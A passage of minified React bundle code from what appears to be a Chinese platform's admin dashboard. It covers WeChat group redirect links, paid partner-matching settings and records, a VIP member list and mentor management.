`).map(w=>w.trim()).filter(Boolean),N=[...o.liveQRCodes||[]];N[0]?N[0].urls=y:N.push({id:"live-1",name:"微信群活码",urls:y,clickCount:0}),await vt("/api/db/config",{key:"live_qr_codes",value:N,description:"群活码配置"}),ie.success("群活码配置已保存!"),await u()}catch(y){console.error(y),ie.error("保存失败: "+(y instanceof Error?y.message:String(y)))}},m=async()=>{var y;try{await vt("/api/db/config",{key:"payment_methods",value:{...o.paymentMethods||{},wechat:{...((y=o.paymentMethods)==null?void 0:y.wechat)||{},groupQrCode:n}},description:"支付方式配置"}),ie.success("微信群链接已保存!用户支付成功后将自动跳转"),await u()}catch(N){console.error(N),ie.error("保存失败: "+(N instanceof Error?N.message:String(N)))}},g=()=>{n?window.open(n,"_blank"):ie.error("请先配置微信群链接")};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"mb-8",children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"微信群活码管理"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置微信群跳转链接,用户支付后自动跳转加群"})]}),s.jsx("div",{className:"mb-6 bg-[#07C160]/10 border border-[#07C160]/30 rounded-xl p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(Gw,{className:"w-5 h-5 text-[#07C160] flex-shrink-0 mt-0.5"}),s.jsxs("div",{className:"text-sm",children:[s.jsx("p",{className:"font-medium mb-2 text-[#07C160]",children:"微信群活码配置指南"}),s.jsxs("div",{className:"text-[#07C160]/80 space-y-2",children:[s.jsx("p",{className:"font-medium",children:"方法一:使用草料活码(推荐)"}),s.jsxs("ol",{className:"list-decimal list-inside space-y-1 pl-2",children:[s.jsx("li",{children:"访问草料二维码创建活码"}),s.jsx("li",{children:"上传微信群二维码图片,生成永久链接"}),s.jsx("li",{children:"复制生成的短链接填入下方配置"}),s.jsx("li",{children:"群满后可直接在草料后台更换新群码,链接不变"})]}),s.jsx("p",{className:"font-medium mt-3",children:"方法二:直接使用微信群链接"}),s.jsxs("ol",{className:"list-decimal list-inside space-y-1 pl-2",children:[s.jsx("li",{children:'微信打开目标群 → 右上角"..." → 群二维码'}),s.jsx("li",{children:"长按二维码 → 识别二维码 → 复制链接"})]}),s.jsx("p",{className:"text-[#07C160]/60 mt-2",children:"注意:微信原生群二维码7天后失效,建议使用草料活码"})]})]})]})}),s.jsxs("div",{className:"grid gap-6 md:grid-cols-2",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl md:col-span-2",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-[#07C160] flex items-center gap-2",children:[s.jsx(Vv,{className:"w-5 h-5"}),"支付成功跳转链接(核心配置)"]}),s.jsx(It,{className:"text-gray-400",children:"用户支付完成后自动跳转到此链接,进入指定微信群"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Pg,{className:"w-4 h-4"}),"微信群链接 / 活码链接"]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{placeholder:"https://cli.im/xxxxx 或 https://weixin.qq.com/g/...",className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 flex-1",value:n,onChange:y=>r(y.target.value)}),s.jsx(te,{variant:"outline",size:"icon",className:"border-gray-700 bg-transparent hover:bg-gray-700/50",onClick:()=>h(n,"group"),children:a==="group"?s.jsx(ff,{className:"w-4 h-4 text-green-500"}):s.jsx(Bx,{className:"w-4 h-4 text-gray-400"})})]}),s.jsxs("p",{className:"text-xs text-gray-500 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"}),"支持格式:草料短链、微信群链接(https://weixin.qq.com/g/...)、企业微信链接等"]})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{onClick:m,className:"flex-1 bg-[#07C160] hover:bg-[#06AD51] text-white",children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),"保存配置"]}),s.jsxs(te,{onClick:g,variant:"outline",className:"border-[#07C160] text-[#07C160] hover:bg-[#07C160]/10 bg-transparent",children:[s.jsx(Us,{className:"w-4 h-4 mr-2"}),"测试跳转"]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl md:col-span-2",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Vv,{className:"w-5 h-5 text-[#38bdac]"}),"多群轮换(高级配置)"]}),s.jsx(It,{className:"text-gray-400",children:"配置多个群链接,系统自动轮换分配,避免单群满员"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Pg,{className:"w-4 h-4"}),"多个群链接(每行一个)"]}),s.jsx(_l,{placeholder:"https://cli.im/group1\\nhttps://cli.im/group2",className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 min-h-[120px] font-mono text-sm",value:t,onChange:y=>e(y.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"每行填写一个群链接,系统将按顺序或随机分配"})]}),s.jsxs("div",{className:"flex items-center justify-between p-3 bg-[#0a1628] rounded-lg border border-gray-700/50",children:[s.jsx("span",{className:"text-sm text-gray-400",children:"已配置群数量"}),s.jsxs("span",{className:"font-bold text-[#38bdac]",children:[t.split(` -`).filter(Boolean).length," 个"]})]}),s.jsxs(te,{onClick:f,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),"保存多群配置"]})]})]})]}),s.jsxs("div",{className:"mt-6 bg-[#0f2137] rounded-xl p-4 border border-gray-700/50",children:[s.jsx("h4",{className:"text-white font-medium mb-3",children:"常见问题"}),s.jsxs("div",{className:"space-y-3 text-sm",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-[#38bdac]",children:"Q: 为什么推荐使用草料活码?"}),s.jsx("p",{className:"text-gray-400",children:"A: 草料活码是永久链接,群满后可直接在后台更换新群码,无需修改网站配置。微信原生群码7天失效。"})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-[#38bdac]",children:"Q: 支付后没有跳转怎么办?"}),s.jsx("p",{className:"text-gray-400",children:"A: 1) 检查链接是否正确填写 2) 部分浏览器可能拦截弹窗,用户需手动允许 3) 建议使用https开头的链接"})]})]})]})]})}const jw={matchTypes:[{id:"partner",label:"创业合伙",matchLabel:"创业伙伴",icon:"⭐",matchFromDB:!0,showJoinAfterMatch:!1,price:1,enabled:!0},{id:"investor",label:"资源对接",matchLabel:"资源对接",icon:"👥",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"mentor",label:"导师顾问",matchLabel:"导师顾问",icon:"❤️",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"team",label:"团队招募",matchLabel:"加入项目",icon:"🎮",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}],freeMatchLimit:3,matchPrice:1,settings:{enableFreeMatches:!0,enablePaidMatches:!0,maxMatchesPerDay:10}},SV=["⭐","👥","❤️","🎮","💼","🚀","💡","🎯","🔥","✨"];function CV(){const[t,e]=b.useState(jw),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(!1),[u,h]=b.useState(null),[f,m]=b.useState({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),g=async()=>{r(!0);try{const E=await De("/api/db/config/full?key=match_config"),T=(E==null?void 0:E.data)??(E==null?void 0:E.config);T&&e({...jw,...T})}catch(E){console.error("加载匹配配置失败:",E)}finally{r(!1)}};b.useEffect(()=>{g()},[]);const y=async()=>{i(!0);try{const E=await vt("/api/db/config",{key:"match_config",value:t,description:"匹配功能配置"});E&&E.success!==!1?ie.success("配置保存成功!"):ie.error("保存失败: "+(E&&typeof E=="object"&&"error"in E?E.error:"未知错误"))}catch(E){console.error("保存配置失败:",E),ie.error("保存失败")}finally{i(!1)}},N=E=>{h(E),m({id:E.id,label:E.label,matchLabel:E.matchLabel,icon:E.icon,matchFromDB:E.matchFromDB,showJoinAfterMatch:E.showJoinAfterMatch,price:E.price,enabled:E.enabled}),c(!0)},w=()=>{h(null),m({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),c(!0)},v=()=>{if(!f.id||!f.label){ie.error("请填写类型ID和名称");return}const E=[...t.matchTypes];if(u){const T=E.findIndex(I=>I.id===u.id);T!==-1&&(E[T]={...f})}else{if(E.some(T=>T.id===f.id)){ie.error("类型ID已存在");return}E.push({...f})}e({...t,matchTypes:E}),c(!1)},k=E=>{confirm("确定要删除这个匹配类型吗?")&&e({...t,matchTypes:t.matchTypes.filter(T=>T.id!==E)})},C=E=>{e({...t,matchTypes:t.matchTypes.map(T=>T.id===E?{...T,enabled:!T.enabled}:T)})};return s.jsxs("div",{className:"p-8 w-full space-y-6",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(lo,{className:"w-6 h-6 text-[#38bdac]"}),"匹配功能配置"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"管理找伙伴功能的匹配类型和价格"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{variant:"outline",onClick:g,disabled:n,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`}),"刷新"]}),s.jsxs(te,{onClick:y,disabled:a,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":"保存配置"]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(li,{className:"w-5 h-5 text-yellow-400"}),"基础设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置免费匹配次数和付费规则"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日免费匹配次数"}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:t.freeMatchLimit,onChange:E=>e({...t,freeMatchLimit:parseInt(E.target.value,10)||0})}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户每天可免费匹配的次数"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"付费匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:t.matchPrice,onChange:E=>e({...t,matchPrice:parseFloat(E.target.value)||1})}),s.jsx("p",{className:"text-xs text-gray-500",children:"免费次数用完后的单次匹配价格"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日最大匹配次数"}),s.jsx(se,{type:"number",min:1,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:t.settings.maxMatchesPerDay,onChange:E=>e({...t,settings:{...t.settings,maxMatchesPerDay:parseInt(E.target.value,10)||10}})}),s.jsx("p",{className:"text-xs text-gray-500",children:"包含免费和付费的总次数"})]})]}),s.jsxs("div",{className:"flex gap-8 pt-4 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:t.settings.enableFreeMatches,onCheckedChange:E=>e({...t,settings:{...t.settings,enableFreeMatches:E}})}),s.jsx(X,{className:"text-gray-300",children:"启用免费匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:t.settings.enablePaidMatches,onCheckedChange:E=>e({...t,settings:{...t.settings,enablePaidMatches:E}})}),s.jsx(X,{className:"text-gray-300",children:"启用付费匹配"})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs("div",{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"匹配类型管理"]}),s.jsx(It,{className:"text-gray-400",children:"配置不同的匹配类型及其价格"})]}),s.jsxs(te,{onClick:w,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-1"}),"添加类型"]})]}),s.jsx(Ee,{children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"图标"}),s.jsx(ke,{className:"text-gray-400",children:"类型ID"}),s.jsx(ke,{className:"text-gray-400",children:"显示名称"}),s.jsx(ke,{className:"text-gray-400",children:"匹配标签"}),s.jsx(ke,{className:"text-gray-400",children:"价格"}),s.jsx(ke,{className:"text-gray-400",children:"数据库匹配"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsx(dr,{children:t.matchTypes.map(E=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx("span",{className:"text-2xl",children:E.icon})}),s.jsx(ve,{className:"font-mono text-gray-300",children:E.id}),s.jsx(ve,{className:"text-white font-medium",children:E.label}),s.jsx(ve,{className:"text-gray-300",children:E.matchLabel}),s.jsx(ve,{children:s.jsxs(qe,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:["¥",E.price]})}),s.jsx(ve,{children:E.matchFromDB?s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"是"}):s.jsx(qe,{variant:"outline",className:"text-gray-500 border-gray-600",children:"否"})}),s.jsx(ve,{children:s.jsx(kt,{checked:E.enabled,onCheckedChange:()=>C(E.id)})}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(E),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>k(E.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},E.id))})]})})]}),s.jsx(Dt,{open:o,onOpenChange:c,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[u?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),u?"编辑匹配类型":"添加匹配类型"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"类型ID(英文)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: partner",value:f.id,onChange:E=>m({...f,id:E.target.value}),disabled:!!u})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"图标"}),s.jsx("div",{className:"flex gap-1 flex-wrap",children:SV.map(E=>s.jsx("button",{type:"button",className:`w-8 h-8 text-lg rounded ${f.icon===E?"bg-[#38bdac]/30 ring-1 ring-[#38bdac]":"bg-[#0a1628]"}`,onClick:()=>m({...f,icon:E}),children:E},E))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"显示名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 创业合伙",value:f.label,onChange:E=>m({...f,label:E.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配标签"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 创业伙伴",value:f.matchLabel,onChange:E=>m({...f,matchLabel:E.target.value})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单次匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:f.price,onChange:E=>m({...f,price:parseFloat(E.target.value)||1})})]}),s.jsxs("div",{className:"flex gap-6 pt-2",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.matchFromDB,onCheckedChange:E=>m({...f,matchFromDB:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"从数据库匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.showJoinAfterMatch,onCheckedChange:E=>m({...f,showJoinAfterMatch:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"匹配后显示加入"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.enabled,onCheckedChange:E=>m({...f,enabled:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"启用"})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>c(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsxs(te,{onClick:v,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})]})]})})]})}const kw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function EV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(""),[f,m]=b.useState(!0),[g,y]=b.useState(null);async function N(){m(!0),y(null);try{const v=new URLSearchParams({page:String(a),pageSize:String(o)});u&&v.set("matchType",u);const k=await De(`/api/db/match-records?${v}`);k!=null&&k.success?(e(k.records||[]),r(k.total??0)):y("加载匹配记录失败")}catch(v){console.error("加载匹配记录失败",v),y("加载失败,请检查网络后重试")}finally{m(!1)}}b.useEffect(()=>{N()},[a,u]);const w=Math.ceil(n/o)||1;return s.jsxs("div",{className:"p-8 w-full",children:[g&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:g}),s.jsx("button",{type:"button",onClick:()=>y(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"匹配记录"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["找伙伴匹配统计,共 ",n," 条记录"]})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("select",{value:u,onChange:v=>{h(v.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"",children:"全部类型"}),Object.entries(kw).map(([v,k])=>s.jsx("option",{value:v,children:k},v))]}),s.jsxs("button",{type:"button",onClick:N,disabled:f,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(Ke,{className:`w-4 h-4 ${f?"animate-spin":""}`}),"刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:f?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"匹配时间"})]})}),s.jsxs(dr,{children:[t.map(v=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[v.userAvatar?s.jsx("img",{src:v.userAvatar,alt:"",className:"w-full h-full object-cover",onError:k=>{k.currentTarget.style.display="none";const C=k.currentTarget.nextElementSibling;C&&C.classList.remove("hidden")}}):null,s.jsx("span",{className:v.userAvatar?"hidden":"",children:(v.userNickname||v.userId||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white",children:v.userNickname||v.userId}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[v.userId.slice(0,16),"..."]})]})]})}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[v.matchedUserAvatar?s.jsx("img",{src:v.matchedUserAvatar,alt:"",className:"w-full h-full object-cover",onError:k=>{k.currentTarget.style.display="none";const C=k.currentTarget.nextElementSibling;C&&C.classList.remove("hidden")}}):null,s.jsx("span",{className:v.matchedUserAvatar?"hidden":"",children:(v.matchedNickname||v.matchedUserId||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white",children:v.matchedNickname||v.matchedUserId}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[v.matchedUserId.slice(0,16),"..."]})]})]})}),s.jsx(ve,{children:s.jsx(qe,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:kw[v.matchType]||v.matchType})}),s.jsxs(ve,{className:"text-gray-400 text-sm",children:[v.phone&&s.jsxs("div",{children:["📱 ",v.phone]}),v.wechatId&&s.jsxs("div",{children:["💬 ",v.wechatId]}),!v.phone&&!v.wechatId&&"-"]}),s.jsx(ve,{className:"text-gray-400",children:v.createdAt?new Date(v.createdAt).toLocaleString():"-"})]},v.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"暂无匹配记录"})})]})]}),s.jsx(is,{page:a,totalPages:w,total:n,pageSize:o,onPageChange:i,onPageSizeChange:v=>{c(v),i(1)}})]})})})]})}function TV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0);async function a(){r(!0);try{const i=await De("/api/db/vip-members?limit=100");if(i!=null&&i.success&&i.data){const o=[...i.data].map((c,u)=>({...c,vipSort:typeof c.vipSort=="number"?c.vipSort:u+1}));o.sort((c,u)=>(c.vipSort??999999)-(u.vipSort??999999)),e(o)}}catch(i){console.error("Load VIP members error:",i),ie.error("加载 VIP 成员失败")}finally{r(!1)}}return b.useEffect(()=>{a()},[]),s.jsxs("div",{className:"p-8 w-full",children:[s.jsx("div",{className:"flex justify-between items-center mb-8",children:s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(yl,{className:"w-5 h-5 text-amber-400"}),"用户管理 / 超级个体列表"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"这里展示所有有效超级个体用户,仅用于查看其基本信息与排序值。"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400 w-20",children:"序号"}),s.jsx(ke,{className:"text-gray-400",children:"成员"}),s.jsx(ke,{className:"text-gray-400 w-40",children:"超级个体"}),s.jsx(ke,{className:"text-gray-400 w-28",children:"排序值"})]})}),s.jsxs(dr,{children:[t.map((i,o)=>{var c;return s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:o+1}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[i.avatar?s.jsx("img",{src:i.avatar,className:"w-8 h-8 rounded-full object-cover border border-amber-400/60"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-amber-500/20 border border-amber-400/60 flex items-center justify-center text-amber-300 text-sm",children:((c=i.name)==null?void 0:c[0])||"创"}),s.jsx("div",{className:"min-w-0",children:s.jsx("div",{className:"text-white text-sm truncate",children:i.name})})]})}),s.jsx(ve,{className:"text-gray-300",children:i.vipRole||s.jsx("span",{className:"text-gray-500",children:"(未设置超级个体)"})}),s.jsx(ve,{className:"text-gray-300",children:i.vipSort??o+1})]},i.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"当前没有有效的超级个体用户。"})})]})]})})})]})}function B4(t){const[e,n]=b.useState([]),[r,a]=b.useState(!0),[i,o]=b.useState(!1),[c,u]=b.useState(null),[h,f]=b.useState({name:"",avatar:"",intro:"",tags:"",priceSingle:"",priceHalfYear:"",priceYear:"",quote:"",whyFind:"",offering:"",judgmentStyle:"",sort:0,enabled:!0}),[m,g]=b.useState(!1),[y,N]=b.useState(!1),w=b.useRef(null),v=async R=>{var _;const D=(_=R.target.files)==null?void 0:_[0];if(D){N(!0);try{const Z=new FormData;Z.append("file",D),Z.append("folder","mentors");const ne=pf(),fe={};ne&&(fe.Authorization=`Bearer ${ne}`);const $=await(await fetch(go("/api/upload"),{method:"POST",body:Z,credentials:"include",headers:fe})).json();$!=null&&$.success&&($!=null&&$.url)?f(H=>({...H,avatar:$.url})):ie.error("上传失败: "+(($==null?void 0:$.error)||"未知错误"))}catch(Z){console.error(Z),ie.error("上传失败")}finally{N(!1),w.current&&(w.current.value="")}}};async function k(){a(!0);try{const R=await De("/api/db/mentors");R!=null&&R.success&&R.data&&n(R.data)}catch(R){console.error("Load mentors error:",R)}finally{a(!1)}}b.useEffect(()=>{k()},[]);const C=()=>{f({name:"",avatar:"",intro:"",tags:"",priceSingle:"",priceHalfYear:"",priceYear:"",quote:"",whyFind:"",offering:"",judgmentStyle:"",sort:e.length>0?Math.max(...e.map(R=>R.sort))+1:0,enabled:!0})},E=()=>{u(null),C(),o(!0)},T=R=>{u(R),f({name:R.name,avatar:R.avatar||"",intro:R.intro||"",tags:R.tags||"",priceSingle:R.priceSingle!=null?String(R.priceSingle):"",priceHalfYear:R.priceHalfYear!=null?String(R.priceHalfYear):"",priceYear:R.priceYear!=null?String(R.priceYear):"",quote:R.quote||"",whyFind:R.whyFind||"",offering:R.offering||"",judgmentStyle:R.judgmentStyle||"",sort:R.sort,enabled:R.enabled??!0}),o(!0)},I=async()=>{if(!h.name.trim()){ie.error("导师姓名不能为空");return}g(!0);try{const R=_=>_===""?void 0:parseFloat(_),D={name:h.name.trim(),avatar:h.avatar.trim()||void 0,intro:h.intro.trim()||void 0,tags:h.tags.trim()||void 0,priceSingle:R(h.priceSingle),priceHalfYear:R(h.priceHalfYear),priceYear:R(h.priceYear),quote:h.quote.trim()||void 0,whyFind:h.whyFind.trim()||void 0,offering:h.offering.trim()||void 0,judgmentStyle:h.judgmentStyle.trim()||void 0,sort:h.sort,enabled:h.enabled};if(c){const _=await zt("/api/db/mentors",{id:c.id,...D});_!=null&&_.success?(o(!1),k()):ie.error("更新失败: "+(_==null?void 0:_.error))}else{const _=await vt("/api/db/mentors",D);_!=null&&_.success?(o(!1),k()):ie.error("新增失败: "+(_==null?void 0:_.error))}}catch(R){console.error("Save error:",R),ie.error("保存失败")}finally{g(!1)}},O=async R=>{if(confirm("确定删除该导师?"))try{const D=await Bs(`/api/db/mentors?id=${R}`);D!=null&&D.success?k():ie.error("删除失败: "+(D==null?void 0:D.error))}catch(D){console.error("Delete error:",D),ie.error("删除失败")}},L=R=>R!=null?`¥${R}`:"-";return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"导师管理"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"stitch_soul 导师列表,支持每个导师独立配置单次/半年/年度价格"})]}),s.jsxs(te,{onClick:E,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新增导师"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:r?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] 